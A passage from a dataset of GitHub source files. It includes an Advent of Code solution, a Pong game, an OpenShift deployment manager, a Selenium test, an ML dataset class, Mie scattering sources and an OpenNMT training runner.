validateFullLengthSequences(referenceSequences=newReferenceSequences, fullLengthSequences=validationSet\n , outputDirectory=outputDirectory, verbose=verbose, threadCount=args.threads, keepBlastFiles=args.blast)\n cleanupSupplementalFiles(keepSuppFiles=args.supplementary, supplementalFileDirectory=supplementalFileDirectory)\n print('Done. Reference Sequences were written to ' + str(outputDirectory))\n\n","repo_name":"IHIW/bioinformatics","sub_path":"reference_alleles/generate_references/GenerateReferences.py","file_name":"GenerateReferences.py","file_ext":"py","file_size_in_byte":23014,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"16786731047","text":"def open_file(file_name):\n '''\n Get lines from file and create list with them\n '''\n lines = []\n with open(file_name, 'r') as file:\n for line in file:\n lines.append(line.strip('.\\n'))\n\n return lines\n\n\ndef split_command(data):\n '''\n Work with information from file\n '''\n lines = []\n for line in data:\n cmd, chng = line.split()\n\n lines.append([cmd, chng])\n\n return lines\n\n\ndef change_value(old_value, instruction):\n '''\n Value add or subtract in a old value\n '''\n return old_value + int(instruction)\n\n\ndef solution(lines):\n '''\n Run program and try find infinite loop\n As result we print what value is in the accumulator\n '''\n acc = 0\n move = 0\n executed_moves = []\n ended =False\n\n while move not in executed_moves and not ended:\n\n executed_moves.append(move)\n\n instruction = lines[move]\n if instruction[0] == 'nop':\n move += 1\n elif instruction[0] == 'acc':\n move += 1\n acc = change_value(acc, instruction[1])\n elif instruction[0] == 'jmp':\n move = change_value(move, instruction[1])\n\n ended = move == len(lines)\n\n return ended, acc\n\n\ndef solution2(lines):\n '''\n '''\n for i in range(len(lines)):\n current_lines = lines[:]\n if current_lines[i][0] == 'jmp':\n current_lines[i] = ['nop', current_lines[i][1]]\n elif current_lines[i][0] == 'nop':\n current_lines[i] = ['jmp', current_lines[i][1]]\n\n tmp, acc = solution(current_lines)\n\n if tmp:\n break\n\n return acc\n\n\ndef main():\n data = open_file('data/day8_puzzle_input.txt')\n lines = split_command(data)\n print(solution(lines))\n\n print('*'*15)\n print(solution2(lines))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"shoblin/Advent-of-Code-2019","sub_path":"2020/day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36841307668","text":"import numpy as np\r\nfrom sklearn.mixture import GaussianMixture\r\nimport GMR\r\nimport Exp\r\nimport Plot\r\n\r\n\r\n\r\n\r\ndef Train(Data = None, nbStates = None, Gauss_dim = None, Coupled = None):\r\n if Gauss_dim == None :\r\n Gauss_dim = Data.shape[1]*2+1\r\n print('Gauss_dim : ', Gauss_dim)\r\n ################################################################\r\n #数据获取\r\n nb_dof = Data.shape[1] # 5个关节\r\n ################################################################\r\n #定义变量\r\n Phis = np.zeros((nb_dof, nbStates,))\r\n Mhis = np.zeros((nb_dof, Gauss_dim, nbStates,))\r\n Shis = np.zeros((nb_dof, Gauss_dim, Gauss_dim, nbStates,))\r\n\r\n Data5 = np.zeros((nb_dof, 1, 1))\r\n Data5_full = np.zeros((nb_dof, 1, 1))\r\n Data5_Coup = np.zeros((nb_dof, 1, 1))\r\n\r\n for i in np.arange(Data.shape[1]):\r\n\r\n an = Data[:, i].T\r\n d_an = np.gradient(an, axis=0)\r\n dd_an = np.gradient(d_an, axis=0)\r\n Data3 = np.stack((an, d_an, dd_an))\r\n\r\n an_Coup = Data.T\r\n d_an_Coup = np.gradient(an_Coup, axis=1)\r\n dd_an_Coup = np.gradient(d_an_Coup, axis=1)[i, :]\r\n Data3_Coup = np.vstack((an_Coup, d_an_Coup, dd_an_Coup))\r\n #print('VS', Data3_Coup.shape, Data3[2,:], Data3_Coup[4,:])\r\n\r\n\r\n Data5 = np.tile(Data5, (1, int(Data3.shape[0] / Data5.shape[1]), int(Data3.shape[1] / Data5.shape[2])))\r\n\r\n Data5_Coup = np.tile(Data5_Coup, (1, int(Data3_Coup.shape[0] / Data5_Coup.shape[1]), int(Data3_Coup.shape[1] / Data5_Coup.shape[2])))\r\n\r\n Data5[i, :] = Data3.copy()\r\n Data5_Coup[i, :] = Data3_Coup.copy()\r\n\r\n #Data5_CF = Exp.fill0(0.1, 0.1, 1, DataO=Data5, Data5=Data5_Coup, NboDataP=10000, Percentage=0.5, Gauss_dim=5)\r\n #print('Finished')\r\n #Plot.tdplot(Data5=Data5_CF, Mhis=Mhis, Mode='cXYf')\r\n print('Data5: ', Data5.shape, Data5[:, 1, :])\r\n for i in np.arange(Data.shape[1]):\r\n ################################################################\r\n #数据整理\r\n #an = Data[:, i].ravel()\r\n #d_an = np.gradient(an, axis=0)\r\n #dd_an = np.gradient(d_an, axis=0)\r\n #Data3 = np.stack((an, d_an, dd_an))\r\n\r\n ################################################################\r\n #fill\r\n # data_full = Exp.fill(Data.T, coef_a=1, coef_b=1, ExpX=10, ExpY=10, ExPerc=0.5)\r\n # data_full = Exp.fill(Data.T, coef_a=1, coef_b=1, ExpX=10, ExpY=10, ExPerc=0.5)\r\n\r\n\r\n #data_full = Data3.T.copy()\r\n #data_full = data_full.T\r\n\r\n ################################################################\r\n # 调整size,放入Array Data5\r\n #Data5 = np.tile(Data5, (1, int(Data3.shape[0] / Data5.shape[1]), int(Data3.shape[1] / Data5.shape[2])))\r\n #Data5_full = np.tile(Data5_full, (1, int(data_full.shape[0] / Data5_full.shape[1]), int(data_full.shape[1] / Data5_full.shape[2])))\r\n\r\n #Data5[i, :] = Data3.copy()\r\n #Data5_full[i, :] = data_full.copy()\r\n\r\n\r\n\r\n #######################################################################################\r\n # fit 混合高斯模型\r\n #gm = GaussianMixture(n_components=nbStates, random_state=0).fit(Data.T)\r\n if Coupled == 'false':\r\n gm = GaussianMixture(n_components=nbStates, random_state=0).fit(Data5[i, :].T)\r\n elif Coupled == 'true':\r\n gm = GaussianMixture(n_components=nbStates, random_state=0).fit(Data5_Coup[i, :].T)\r\n #gm = GaussianMixture(n_components=nbStates, random_state=0).fit(Data5[i, :].T)\r\n\r\n #gmf = GaussianMixture(n_components=nbStates, random_state=0).fit(Data5_CF[i, :].T)\r\n #gm = gmf\r\n\r\n Priors = gm.weights_.T.copy()\r\n Mu = gm.means_.T.copy()\r\n Sigma = gm.covariances_.T.copy()\r\n\r\n Phis[i, :] = Priors\r\n Mhis[i, :] = Mu\r\n Shis[i, :] = Sigma\r\n #######################################################################################\r\n\r\n\r\n return Phis, Mhis, Shis, Data5, Data5_Coup, Data5_full\r\n\r\n\r\ndef CountT(Data5=None):\r\n xData = Data5[:, 0, :]\r\n max_values_col = np.max(xData, axis=1) - np.min(xData, axis=1)\r\n dis = np.max(max_values_col) # endpoint 到 initialpoint 在状态空间距离\r\n Threshold = dis * 1 / 100\r\n\r\n iniP = Data5[:, 0, 1] # 演示数据初始点\r\n finP = Data5[:, 0, -1] # 演示数据终点\r\n SpeedIni = Data5[:, 1, 1] # 演示数据初速度\r\n return Threshold, iniP, finP, SpeedIni\r\n\r\n\r\ndef Predict(Coupled=None, x_cur=None, Phis=None, Mhis=None, Shis=None):\r\n ##########################################\r\n #整理维度\r\n Gauss_dim = Mhis.shape[1]\r\n nb_dof = Mhis.shape[0]\r\n ##########################################\r\n Gauss_dim_in = Gauss_dim - 1\r\n in_dims = [i for i in range(Gauss_dim_in)]\r\n out_dims = Gauss_dim_in\r\n if Coupled == 'true':\r\n oneline = x_cur.ravel()[:, np.newaxis]\r\n x_cur = np.tile(oneline, (1, nb_dof)).copy()\r\n\r\n '''''\r\n if Gauss_dim == 3:\r\n in_dims = [0, 1]\r\n out_dims = 2\r\n elif Gauss_dim == 5:\r\n in_dims = [0, 1, 2, 3]\r\n out_dims = 4\r\n x_coup = np.zeros((4, 1))\r\n x_coup[0, 0] = x_cur[0, 0]\r\n x_coup[1, 0] = x_cur[0, 1]\r\n x_coup[2, 0] = x_cur[1, 0]\r\n x_coup[3, 0] = x_cur[1, 1]\r\n\r\n y_coup = x_coup.copy()\r\n x_cur = np.hstack((x_coup, y_coup))\r\n '''''\r\n\r\n y_cur = np.zeros(nb_dof)\r\n # 从五��(机械臂状态空间维度=5)二维x状态和五组Priors,Mu,Sigma 得到五个y\r\n for i in np.arange(nb_dof):\r\n Priors = Phis[i, :]\r\n Mu = Mhis[i, :]\r\n Sigma = Shis[i, :]\r\n xin = x_cur[:, i:i + 1].copy()\r\n print('输入 xin : ', i, ' ', xin)\r\n y, Sigma_y, beta = GMR.Pred3d(Priors, Mu, Sigma, xin, in_dims, out_dims)\r\n y_cur[i] = y\r\n print('模型计算得加速度: ', y_cur)\r\n\r\n return y_cur\r\n","repo_name":"ZHF183/GMR-DS","sub_path":"Method.py","file_name":"Method.py","file_ext":"py","file_size_in_byte":5895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8687595655","text":"n=int(input())\narr = list(map(int,input().split()))\neven=0\nodd=0\nfor i in range(len(arr)):\n if arr[i]%2==0:\n even+=1\n else:\n odd+=1\nif even>odd:\n print(\"READY FOR BATTLE\")\nelse:\n print(\"NOT READY\")","repo_name":"dhruv-gautam16/Code_Chef-Contest-","sub_path":"AMR15A.py","file_name":"AMR15A.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"10876421675","text":"import time\nfrom turtle import Turtle, Screen\nfrom paddle import Paddle\nfrom ball import Ball\nfrom score import Score\nimport time\n\n# Screen object\nscreen = Screen()\nscreen.setup(width=1000, height=800)\nscreen.title(\"Ping - Pong\")\nscreen.bgcolor(\"black\")\nscreen.tracer(0) # creating screen changes without any delay\n# screen.delay(0) # no animation delay\n\nr_paddle = Paddle((450, 0))\nl_paddle = Paddle((-450, 0))\nball = Ball()\nscoreboard = Score()\n\n\nscreen.listen()\nscreen.onkey(r_paddle.go_up, \"Up\")\nscreen.onkey(r_paddle.go_down, \"Down\")\nscreen.onkey(l_paddle.go_up, \"w\")\nscreen.onkey(l_paddle.go_down, \"s\")\n\ngame_is_on = True\nwhile game_is_on:\n screen.update()\n time.sleep(ball.move_speed)\n ball.move()\n\n # Detect collision to wall\n if ball.ycor() > 380 or ball.ycor() < -280:\n ball.bounce_y()\n # Detection with paddle\n if ball.distance(r_paddle) < 50 and ball.xcor() > 380 or ball.distance(l_paddle) < 50 and ball.xcor() < -380:\n ball.bounce_x()\n\n # Detect out of bound\n if ball.xcor() > 450:\n ball.reset_ball()\n scoreboard.left_score()\n if ball.xcor() < -450:\n ball.reset_ball()\n scoreboard.right_score()\n # score\n\nscreen.exitonclick()\n","repo_name":"vicknesh22/100_days_of_python","sub_path":"day22/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26936152152","text":"import jinja2\nimport subprocess\nimport logging\nimport time\n\nimport mbox.ca\nimport mbox.config\nimport mbox.client\nimport mbox.database\nimport mbox.fedmsg\nimport mbox.identity\nimport mbox.koji_builder\nimport mbox.koji_hub\nimport mbox.kojira\nimport mbox.mbs_backend\nimport mbox.mbs_frontend\nimport mbox.mbs_shared\n\n\nCOMPONENT_CLASSES = {\n \"ca\": mbox.ca.CertificateAuthority,\n \"config\": mbox.config.Configuration,\n \"client\": mbox.client.Client,\n \"database\": mbox.database.Database,\n \"fedmsg\": mbox.fedmsg.FedmsgComponent,\n \"identity\": mbox.identity.Identity,\n \"koji_builder\": mbox.koji_builder.KojiBuilder,\n \"koji_hub\": mbox.koji_hub.KojiHub,\n \"kojira\": mbox.kojira.Kojira,\n \"mbs_backend\": mbox.mbs_backend.MBSBackend,\n \"mbs_frontend\": mbox.mbs_frontend.MBSFrontend,\n \"mbs_shared\": mbox.mbs_shared.MBSShared,\n}\nCOMPONENT_ORDER = [\n \"config\",\n \"ca\",\n \"fedmsg\",\n \"database\",\n \"koji_hub\",\n \"client\",\n \"koji_builder\",\n \"kojira\",\n \"identity\",\n \"mbs_shared\",\n \"mbs_backend\",\n \"mbs_frontend\",\n]\n\n\nclass State(object):\n # Settings\n _print_oc_output = None\n _config_file = None\n\n # Helpers\n _jinjaenv = None\n\n # Component instances\n _components = {}\n\n def __init__(self, config_file, print_oc_output):\n self.logger = logging.getLogger(\"state\")\n self._config_file = config_file\n self._print_oc_output = print_oc_output\n\n self.config.validate()\n\n @property\n def project_name(self):\n return self.config.project_name\n\n @property\n def capture_oc_output(self):\n return not self._print_oc_output\n\n def oc_test(self):\n subprocess.run([\"oc\", \"whoami\"], capture_output=True, check=True)\n\n def oc_apply(self, obj):\n subprocess.run(\n [\"oc\", \"apply\", \"-f\", \"-\", \"-n\", self.project_name],\n input=obj,\n encoding='utf-8',\n check=True)\n\n @staticmethod\n def _objname(objtype, objname):\n return \"%s/%s\" % (objtype, objname)\n\n def oc_object_exists(self, objtype, objname):\n self.logger.debug(\"Checking if %s/%s exists\", objtype, objname)\n res = subprocess.run(\n [\"oc\", \"get\", \"-n\", self.project_name,\n self._objname(objtype, objname)],\n capture_output=True)\n self.logger.debug(\"Exists: %s\", res.returncode == 0)\n return res.returncode == 0\n\n def oc_create_secret_file(self, objname, files):\n \"\"\" Create a secret from a set of files.\n\n files: dict of key -> filename to upload.\n \"\"\"\n self.logger.debug(\"Creating secret file %s\", objname)\n cmd = [\"oc\", \"-n\", self.project_name,\n \"create\", \"secret\", \"generic\", objname]\n for file in files:\n cmd.append(\"--from-file=%s=%s\" % (file, files[file]))\n subprocess.run(\n cmd,\n encoding='utf-8',\n check=True)\n\n def oc_create_secret_tls(self, objname, cert, key):\n self.logger.debug(\"Creating TLS secret %s\", objname)\n cmd = [\"oc\", \"-n\", self.project_name,\n \"create\", \"secret\", \"tls\", objname,\n \"--cert=%s\" % cert,\n \"--key=%s\" % key]\n subprocess.run(\n cmd,\n encoding='utf-8',\n check=True)\n\n def oc_get_last_build_num(self, bcname):\n self.logger.debug(\"Getting last build for buildconfig %s\", bcname)\n cmd = [\n \"oc\", \"-n\", self.project_name,\n \"get\", self._objname(\"buildconfig\", bcname),\n \"-o=custom-columns=LATEST:status.lastVersion\",\n \"--no-headers=true\",\n ]\n res = subprocess.run(\n cmd,\n encoding='utf-8',\n check=True,\n capture_output=True,\n )\n return res.stdout.strip()\n\n def oc_ensure_build(self, buildname, follow=True):\n self.logger.debug(\"Ensuring build for %s\", buildname)\n last = self.oc_get_last_build_num(buildname)\n if last is not '0':\n self.logger.debug(\"Build was already fired once: %s\", last)\n return\n self.logger.debug(\"Starting build for %s\", buildname)\n cmd = [\n \"oc\", \"-n\", self.project_name,\n \"start-build\", buildname,\n ]\n if follow:\n cmd += ['--follow=true']\n return subprocess.run(\n cmd,\n encoding='utf-8',\n check=True,\n capture_output=self.capture_oc_output,\n )\n\n def oc_wait_for_deploy(self, deployname):\n self.logger.debug(\"Waiting for deploy of %s\", deployname)\n # oc rollout status dc/koji-hub -n mbox --watch\n cmd = [\n \"oc\", \"-n\", self.project_name,\n \"rollout\", \"status\", self._objname(\"deploymentconfig\", deployname),\n \"--watch=true\",\n ]\n subprocess.run(\n cmd,\n encoding='utf-8',\n check=True,\n capture_output=self.capture_oc_output,\n )\n self.logger.debug(\"Waiting 5 seconds for deployment to be done\")\n time.sleep(5)\n\n def oc_get_object_name(self, objtype, *filters):\n self.logger.debug(\"Getting object type %s filters %s\",\n objtype, filters)\n cmd = [\n \"oc\", \"-n\", self.project_name,\n \"get\", objtype, \"-o\", \"name\",\n \"--show-all=false\",\n ]\n for filter in filters:\n cmd.extend([\"-l\", filter])\n return subprocess.run(\n cmd,\n encoding='utf-8',\n check=True,\n capture_output=True,\n ).stdout.strip().split(\"\\n\")[-1].strip()\n\n def oc_exec(self, podname, *command, capture=False):\n if podname.startswith('pod/'):\n podname = podname[len('pod/'):]\n if isinstance(command, tuple):\n command = list(command)\n if isinstance(command, list):\n command = \" \".join(command)\n self.logger.debug(\"Running command in pod %s: %s\", podname, command)\n cmd = [\n \"oc\", \"-n\", self.project_name,\n \"exec\", podname, \"--\",\n \"/bin/bash\", \"-c\",\n command,\n ]\n res = subprocess.run(\n cmd,\n capture_output=not capture,\n encoding='utf-8',\n check=False,\n )\n self.logger.debug(\"Retcode: %d\", res.returncode)\n self.logger.debug(\"Stdout: %s\", res.stdout)\n self.logger.debug(\"Stderr: %s\", res.stderr)\n return res\n\n @property\n def jinjaenv(self):\n if self._jinjaenv is None:\n self._jinjaenv = jinja2.Environment(\n loader=jinja2.FileSystemLoader(self.config.template_dir),\n autoescape=False,\n )\n self._jinjaenv.globals['project_name'] = self.project_name\n return self._jinjaenv\n\n def apply_object_from_template(self, template_path, **template_vars):\n templ = self.jinjaenv.get_template(template_path)\n obj = templ.render(**template_vars)\n self.oc_apply(obj)\n\n def get_component(self, component_name):\n if component_name not in self._components:\n component_class = COMPONENT_CLASSES[component_name]\n self.logger.debug(\"Initializing component %s, class: %s\",\n component_name,\n component_class)\n self._components[component_name] = component_class(self)\n return self._components[component_name]\n\n def build_all(self):\n bcs = []\n for component in COMPONENT_ORDER:\n self.logger.info(\"Starting build for component %s\", component)\n bcname = self.get_component(component).create_build()\n if bcname is not None:\n bcs.append(bcname)\n self.oc_ensure_build(bcname, follow=False)\n\n def ensure_all(self, forced=[]):\n for component in COMPONENT_ORDER:\n self.logger.info(\"Ensuring component %s\", component)\n self.get_component(component).ensure(\n force_update=component in forced,\n )\n\n @property\n def ca(self):\n return self.get_component(\"ca\")\n\n @property\n def config(self):\n return self.get_component(\"config\")\n\n @property\n def client(self):\n return self.get_component(\"client\")\n\n @property\n def database(self):\n return self.get_component(\"database\")\n\n @property\n def fedmsg(self):\n return self.get_component(\"fedmsg\")\n\n @property\n def identity(self):\n return self.get_component(\"identity\")\n\n @property\n def koji_builder(self):\n return self.get_component(\"koji_builder\")\n\n @property\n def koji_hub(self):\n return self.get_component(\"koji_hub\")\n\n @property\n def mbs_backend(self):\n return self.get_component(\"mbs_backend\")\n\n @property\n def mbs_frontend(self):\n return self.get_component(\"mbs_frontend\")\n\n @property\n def mbs_shared(self):\n return self.get_component(\"mbs_shared\")\n","repo_name":"puiterwijk/mbbox","sub_path":"mbox/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":9045,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"35319991685","text":"from unittest.mock import patch\n\nimport pytest\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\n\nfrom .base import RecipeBaseFunctionalTest\n\n\n@pytest.mark.functional_test\nclass RecipeHomePageFunctionalTest(RecipeBaseFunctionalTest):\n def test_recipe_home_page_without_recipes_not_found_message(self):\n self.browser.get(self.live_server_url)\n body = self.browser.find_element(By.TAG_NAME, \"body\")\n self.assertIn(\"Sem receitas cadastras no momento\", body.text)\n\n @patch(\"recipes.views.PER_PAGES\", new=3)\n def test_recipe_search_input_can_find_correct_recipes(self):\n recipes = self.make_recipe_in_batch()\n self.browser.get(self.live_server_url)\n search_input = self.browser.find_element(\n By.XPATH,\n '//input[@placeholder=\"Clique aqui para pesquisar uma receita\"]',\n )\n search_input.send_keys(recipes[0].title)\n search_input.send_keys(Keys.ENTER)\n\n content_list = self.browser.find_element(\n By.CLASS_NAME,\n \"main-content-list\",\n )\n self.assertIn(\"Receita Titulo 0\", content_list.text)\n\n @patch(\"recipes.views.PER_PAGES\", new=3)\n def test_recipe_home_page_pagination(self):\n self.make_recipe_in_batch()\n self.browser.get(self.live_server_url)\n page2 = self.browser.find_element(\n By.XPATH, '//a[@aria-label=\"Vá para página: 2\"]'\n )\n page2.click()\n self.assertEqual(\n len(self.browser.find_elements(By.CLASS_NAME, \"recipe\")),\n 3,\n )\n","repo_name":"JonathaCnB/project-django-recipes","sub_path":"tests/functional_tests/recipes/test_recipe_home_page.py","file_name":"test_recipe_home_page.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30719134122","text":"import numpy as np\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.preprocessing import MinMaxScaler, OneHotEncoder\nfrom imblearn.over_sampling import ADASYN\n\nclass ScoreDataset:\n\t'''\n\tBasic structure implementing data access and behavior useful for training ANN in keras/tensorflow.\n\t'''\n\tdef __init__(self, features, labels, oversample=None, kfold=5, norm=False):\n\t\tassert len(features) == len(labels), \"Labels (Y) and features (X) do not have the same number of observations!\"\n\t\tself.X = np.array(features).astype('float64')\n\t\tif norm:\n\t\t\tscaler = MinMaxScaler(feature_range=(-1, 1), copy=False).fit(self.X)\n\t\t\tscaler.transform(self.X)\n\t\tself.Y = np.array(labels).astype('int32').reshape(len(labels),-1)\n\t\tself._X, self._Y = self.X, self.Y\n\t\tif oversample:\n\t\t\tself._oversample(oversample)\n\t\tself.leaves = []\n\t\tself.num_leaves = 1\n\t\tself.n_batches = 1\n\t\tself.kfold = kfold\n\t\tself.enc = OneHotEncoder() ; self.enc.fit(self.Y)\n\n\tdef __len__(self):\n\t\treturn len(self.X)\n\n\tdef __getitem__(self, i):\n\t\treturn [self.X[i], self.Y[i]]\n\n\tdef get_x_dims(self):\n\t\treturn self.X.shape[1]\n\n\tdef get_y_dims(self):\n\t\treturn self.Y.shape[1]\n\n\tdef _oversample(self, ratio=0.7):\n\t\t'''\n\t\tRandom resampling of immunogenic peptides to equal ratio\n\t\tof non-immunogenic (training set only).\n\t\t'''\n\t\t# Might be better ways to do this than just random oversampling -- e.g. SMOTE?\n\t\tself._X, self._Y = ADASYN(sampling_strategy=ratio).fit_resample(self.X, self.Y)\n\t\tself._Y = self._Y.reshape(-1, 1)\n\n\tdef get_splits(self, folds):\n\t\t'''\n\t\tDefines k training/validation leaves.\n\t\t'''\n\t\tassert type(folds) == int, \"Folds must be type int.\"\n\t\tassert folds>1, \"Number of folds must be greater than 1.\"\n\t\tskf = StratifiedKFold(n_splits=folds, shuffle=True)\n\t\tfor train_idx, val_idx in skf.split(self._X, self._Y):\n\t\t\tself.leaves.append((train_idx, val_idx))\n\t\tself.num_leaves = folds\n\n\tdef get_training_batch(self):\n\t\t'''\n\t\tMethod generating data for training and validation leaves.\n\t\t'''\n\t\tself.get_splits(self.kfold)\n\t\tfor leaf in self.leaves:\n\t\t\tyield self._X[leaf[0]], self.enc.transform(self._Y[leaf[0]]).toarray(), self._X[leaf[1]], self.enc.transform(self._Y[leaf[1]]).toarray()\n\n","repo_name":"kellmnop/SBNN_keras","sub_path":"immunomodeling_dataset.py","file_name":"immunomodeling_dataset.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20206027619","text":"\"\"\"\nVSH sources\n\"\"\"\n\nimport numpy as np\nimport miepy\nfrom miepy.sources import source\n\nclass vsh_source(source):\n def __init__(self, n, m, ftype='electric', center=None, mode=None, amplitude=1, phase=0):\n \"\"\"\n Arguments:\n n n value of VSH mode\n m m value of VSH mode\n ftype 'electric' or 'magnetic' dipole (default: electric)\n center center position of vsh_source\n mode type of vsh_mode (default: incident)\n amplitude amplitude of the source (default: 1)\n phase additional phase factor (default: 0)\n \"\"\"\n self.n = n\n self.m = m\n self.ftype = ftype\n\n self.mode = mode\n if mode is None:\n self.mode = miepy.vsh_mode.incident\n\n if self.ftype == 'electric':\n self.N, self.M = miepy.vsh.VSH(self.n, self.m, self.mode)\n self.N_far, self.M_far = miepy.vsh.VSH_far(self.n, self.m, self.mode)\n elif self.ftype == 'magnetic':\n self.M, self.N = miepy.vsh.VSH(self.n, self.m, self.mode)\n self.M_far, self.N_far = miepy.vsh.VSH_far(self.n, self.m, self.mode)\n else:\n raise ValueError(\"ftype must be either 'electric' or 'magnetic'\")\n\n if center is None:\n self.center = np.array([0,0,0], dtype=float)\n else:\n self.center = np.asarray(center, dtype=float)\n\n self.amplitude = amplitude\n self.phase = phase\n\n def E_field(self, x1, x2, x3, k, far=False, spherical=False):\n factor = self.amplitude*np.exp(1j*self.phase)\n\n if not spherical:\n x1, x2, x3 = miepy.coordinates.cart_to_sph(x1, x2, x3, origin=self.center)\n\n if far:\n E = self.N_far(x1, x2, x3, k)\n else:\n E = self.N(x1, x2, x3, k)\n\n if not spherical:\n return factor*miepy.coordinates.vec_sph_to_cart(E, x2, x3)\n else:\n return factor*E\n\n def H_field(self, x1, x2, x3, k, far=False, spherical=False):\n factor = self.amplitude*np.exp(1j*self.phase)\n\n if not spherical:\n x1, x2, x3 = miepy.coordinates.cart_to_sph(x1, x2, x3, origin=self.center)\n\n if far:\n E = self.M_far(x1, x2, x3, k)\n else:\n E = self.M(x1, x2, x3, k)\n\n if not spherical:\n return factor*miepy.coordinates.vec_sph_to_cart(E, x2, x3)\n else:\n return factor*E\n\n def structure(self, position, k, lmax):\n position = np.asarray(position)\n Nparticles = len(position)\n\n rmax = miepy.vsh.lmax_to_rmax(lmax)\n p_src = np.zeros([Nparticles, 2, rmax], dtype=complex)\n factor = self.amplitude*np.exp(1j*self.phase)\n\n for i in range(Nparticles):\n dr = position[i] - self.center\n\n if not np.any(dr):\n for r,n,m in miepy.mode_indices(lmax):\n if n == self.n and m == self.m:\n Emn = miepy.vsh.Emn(m, n)\n p_src[i,0,r] = 1/(-1j*Emn)\n else:\n rad, theta, phi = miepy.coordinates.cart_to_sph(*dr)\n for r,n,m in miepy.mode_indices(lmax):\n Emn = miepy.vsh.Emn(self.m, self.n)\n Euv = miepy.vsh.Emn(m, n)\n A, B = miepy.cpp.vsh_translation.vsh_translation(m, n, self.m, self.n, rad, theta, phi, k, self.mode)\n p_src[i,0,r] = A/(-1j*Emn)\n p_src[i,1,r] = B/(-1j*Emn)\n\n if self.ftype == 'magnetic':\n p_src = p_src[:, ::-1]\n\n return factor*p_src\n\n def H_angular(self, theta, phi, k, radius=None, origin=None):\n if radius is None:\n radius = 1e6*2*np.pi/k\n\n return self.H_field(radius, radius, theta, phi, far=True, spherical=True)[1:]\n\n def E_angular(self, theta, phi, k, radius=None, origin=None):\n if radius is None:\n radius = 1e6*2*np.pi/k\n\n return self.E_field(radius, radius, theta, phi, far=True, spherical=True)[1:]\n\n def angular_spectrum(self, theta, phi, k):\n return self.E_angular(theta, phi, k)\n","repo_name":"johnaparker/miepy","sub_path":"miepy/sources/vsh_sources.py","file_name":"vsh_sources.py","file_ext":"py","file_size_in_byte":4176,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"48"} +{"seq_id":"15023600137","text":"\"\"\"\nRuns the training and generation script for OpenNMT\n\"\"\"\nfrom argparse import ArgumentParser\nimport os\nimport subprocess\nimport torch\nimport yaml\n\nPREPROCESSING_CMD = \"python OpenNMT-py/onmt/bin/preprocess.py -train_src {} -train_tgt {} -valid_src {} -valid_tgt {} -save_data {}\"\nTRAIN_CMD = \"python OpenNMT-py/onmt/bin/train.py {}\"\nTRANSLATE_CMD = \"python OpenNMT-py/onmt/bin/translate.py {}\"\nEVALUATE_CMD = \"python src/run.py {}\"\n\ndef load_args():\n ap = ArgumentParser()\n ap.add_argument(\"config\")\n ap.add_argument(\"--train-seq2seq\", action='store_true')\n ap_args = ap.parse_args()\n\n args = yaml.safe_load(open(ap_args.config))\n args['train'] = ap_args.train_seq2seq\n args['config'] = ap_args.config\n return args\n\ndef should_run_preprocessing(args):\n \"\"\"\n Checks if preprocessing script should be run by seeing if the .vocab.pt\n file exists.\n \"\"\"\n use_eos = args['lm']['use_eos']\n args = args['onmt']['preprocessing']\n data_dir = args['data_dir']\n if use_eos:\n data_dir = os.path.join(data_dir, 'onmt_eos')\n else:\n data_dir = os.path.join(data_dir, \"onmt_no_eos\")\n vocab_file = os.path.join(data_dir, \".vocab.pt\")\n return not os.path.exists(vocab_file)\n\ndef run_preprocessing(args):\n \"\"\"\n Runs OpenNMT preprocessing script\n \"\"\"\n use_eos = args['lm']['use_eos']\n args = args['onmt']['preprocessing']\n train_src = os.path.join(args['data_dir'], args['train_src'])\n train_tgt = os.path.join(args['data_dir'], args['train_tgt'])\n dev_src = os.path.join(args['data_dir'], args['dev_src'])\n dev_tgt = os.path.join(args['data_dir'], args['dev_tgt'])\n data_dir = args['data_dir']\n extra_args = \"\"\n if use_eos:\n data_dir = os.path.join(data_dir, 'onmt_eos')\n else:\n extra_args = \" -disable_eos_sampling\"\n data_dir = os.path.join(data_dir, \"onmt_no_eos\")\n cmd = PREPROCESSING_CMD.format(train_src, train_tgt, dev_src, dev_tgt, data_dir)\n cmd += extra_args\n print(f\"> {cmd}\")\n subprocess.run(cmd, shell=True, check=True)\n\ndef should_train(args):\n \"\"\"\n Checks if the model should be trained.\n \"\"\"\n return args['train']\n\ndef form_arg_str(args, taboo_fields=set()):\n \"\"\"\n Creates command line string from args dict.\n \"\"\"\n args_str = []\n for arg_name, arg_val in args.items():\n if arg_name in taboo_fields:\n continue\n if isinstance(arg_val, bool):\n args_str.append(f\"-{arg_name}\")\n else:\n args_str.append(f\"-{arg_name} {arg_val}\")\n return args_str\n\ndef train(args):\n \"\"\"\n Runs OpenNMT train script.\n \"\"\"\n data_dir = args['onmt']['preprocessing']['data_dir']\n if args['lm']['use_eos']:\n data_dir = os.path.join(data_dir, \"onmt_eos\")\n else:\n data_dir = os.path.join(data_dir, \"onmt_no_eos\")\n train_args = args['onmt']['training']\n model_dir = train_args['save_model']\n os.makedirs(os.path.dirname(model_dir), exist_ok=True)\n args_str = [f'-data {data_dir}']\n args_str += form_arg_str(train_args)\n args_str = \" \".join(args_str)\n cmd = TRAIN_CMD.format(args_str)\n print(f\"> {cmd}\")\n subprocess.run(cmd, shell=True, 